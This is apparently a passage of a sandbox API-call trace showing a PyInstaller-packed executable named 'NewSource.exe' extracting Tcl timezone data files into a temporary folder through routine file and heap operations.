CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Poland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\poland"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.391] GetLastError () returned 0x2 [0043.391] SetLastError (dwErrCode=0x2) [0043.391] GetLastError () returned 0x2 [0043.391] SetLastError (dwErrCode=0x2) [0043.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Poland", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Poland", lpFilePart=0x0) returned 0x3e [0043.391] GetLastError () returned 0x2 [0043.391] SetLastError (dwErrCode=0x2) [0043.391] GetLastError () returned 0x2 [0043.391] SetLastError (dwErrCode=0x2) [0043.391] GetLastError () returned 0x2 [0043.391] SetLastError (dwErrCode=0x2) [0043.391] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Poland") returned 63 [0043.391] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Poland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\poland"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.392] GetFileType (hFile=0x10c) returned 0x1 [0043.392] htonl (hostlong=0xa9000000) returned 0xa9 [0043.392] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.392] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa9, lpOverlapped=0x0) returned 1 [0043.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.393] CloseHandle (hObject=0x10c) returned 1 [0043.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.393] htonl (hostlong=0x30000000) returned 0x30 [0043.393] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.393] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.393] GetFileType (hFile=0x10c) returned 0x1 [0043.393] htonl (hostlong=0xa5285d00) returned 0x5d28a5 [0043.393] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d8a5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.393] htonl (hostlong=0x88000000) returned 0x88 [0043.393] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0043.393] htonl (hostlong=0x88000000) returned 0x88 [0043.393] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.393] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.393] htonl (hostlong=0xab000000) returned 0xab [0043.393] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0043.393] htonl (hostlong=0x88000000) returned 0x88 [0043.393] htonl (hostlong=0xab000000) returned 0xab [0043.393] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.393] CloseHandle (hObject=0x10c) returned 1 [0043.394] GetLastError () returned 0x0 [0043.394] SetLastError (dwErrCode=0x0) [0043.394] GetLastError () returned 0x0 [0043.394] SetLastError (dwErrCode=0x0) [0043.394] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.394] GetFileType (hFile=0x10c) returned 0x1 [0043.394] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.394] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.394] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.394] CloseHandle (hObject=0x10c) returned 1 [0043.394] GetLastError () returned 0x0 [0043.394] SetLastError (dwErrCode=0x0) [0043.394] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.394] GetFileType (hFile=0x10c) returned 0x1 [0043.394] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.394] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.395] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.395] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.395] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.395] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.395] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.395] CloseHandle (hObject=0x10c) returned 1 [0043.395] GetLastError () returned 0x0 [0043.395] SetLastError (dwErrCode=0x0) [0043.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Portugal") returned 65 [0043.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Portugal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\portugal"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.395] GetLastError () returned 0x2 [0043.395] SetLastError (dwErrCode=0x2) [0043.395] GetLastError () returned 0x2 [0043.395] SetLastError (dwErrCode=0x2) [0043.395] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Portugal", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Portugal", lpFilePart=0x0) returned 0x40 [0043.395] GetLastError () returned 0x2 [0043.395] SetLastError (dwErrCode=0x2) [0043.395] GetLastError () returned 0x2 [0043.395] SetLastError (dwErrCode=0x2) [0043.395] GetLastError () returned 0x2 [0043.395] SetLastError (dwErrCode=0x2) [0043.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Portugal") returned 65 [0043.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Portugal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\portugal"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.396] GetFileType (hFile=0x10c) returned 0x1 [0043.396] htonl (hostlong=0xab000000) returned 0xab [0043.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.396] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0043.397] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.397] CloseHandle (hObject=0x10c) returned 1 [0043.397] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.397] htonl (hostlong=0x30000000) returned 0x30 [0043.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.397] GetFileType (hFile=0x10c) returned 0x1 [0043.397] htonl (hostlong=0x2d295d00) returned 0x5d292d [0043.398] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d92d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.398] htonl (hostlong=0x83000000) returned 0x83 [0043.398] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0043.398] htonl (hostlong=0x83000000) returned 0x83 [0043.398] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.398] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.398] htonl (hostlong=0xa0000000) returned 0xa0 [0043.398] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x550600 [0043.398] htonl (hostlong=0x83000000) returned 0x83 [0043.398] htonl (hostlong=0xa0000000) returned 0xa0 [0043.398] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.398] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.398] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.398] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.398] CloseHandle (hObject=0x10c) returned 1 [0043.398] GetLastError () returned 0x0 [0043.398] SetLastError (dwErrCode=0x0) [0043.398] GetLastError () returned 0x0 [0043.398] SetLastError (dwErrCode=0x0) [0043.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.398] GetFileType (hFile=0x10c) returned 0x1 [0043.398] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.398] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.399] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.399] CloseHandle (hObject=0x10c) returned 1 [0043.399] GetLastError () returned 0x0 [0043.399] SetLastError (dwErrCode=0x0) [0043.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.399] GetFileType (hFile=0x10c) returned 0x1 [0043.399] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.399] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.399] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.399] CloseHandle (hObject=0x10c) returned 1 [0043.399] GetLastError () returned 0x0 [0043.399] SetLastError (dwErrCode=0x0) [0043.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROC") returned 60 [0043.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\roc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.399] GetLastError () returned 0x2 [0043.400] SetLastError (dwErrCode=0x2) [0043.400] GetLastError () returned 0x2 [0043.400] SetLastError (dwErrCode=0x2) [0043.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROC", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROC", lpFilePart=0x0) returned 0x3b [0043.400] GetLastError () returned 0x2 [0043.400] SetLastError (dwErrCode=0x2) [0043.400] GetLastError () returned 0x2 [0043.400] SetLastError (dwErrCode=0x2) [0043.400] GetLastError () returned 0x2 [0043.400] SetLastError (dwErrCode=0x2) [0043.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROC") returned 60 [0043.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\roc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.400] GetFileType (hFile=0x10c) returned 0x1 [0043.400] htonl (hostlong=0xa0000000) returned 0xa0 [0043.400] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.400] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa0, lpOverlapped=0x0) returned 1 [0043.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.401] CloseHandle (hObject=0x10c) returned 1 [0043.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.401] htonl (hostlong=0x30000000) returned 0x30 [0043.401] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.401] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.401] GetFileType (hFile=0x10c) returned 0x1 [0043.401] htonl (hostlong=0xb0295d00) returned 0x5d29b0 [0043.402] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d9b0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.402] htonl (hostlong=0x83000000) returned 0x83 [0043.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0043.402] htonl (hostlong=0x83000000) returned 0x83 [0043.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.402] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.402] htonl (hostlong=0x9d000000) returned 0x9d [0043.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9d) returned 0x550600 [0043.402] htonl (hostlong=0x83000000) returned 0x83 [0043.402] htonl (hostlong=0x9d000000) returned 0x9d [0043.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.402] CloseHandle (hObject=0x10c) returned 1 [0043.402] GetLastError () returned 0x0 [0043.402] SetLastError (dwErrCode=0x0) [0043.402] GetLastError () returned 0x0 [0043.402] SetLastError (dwErrCode=0x0) [0043.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.402] GetFileType (hFile=0x10c) returned 0x1 [0043.402] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.402] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, 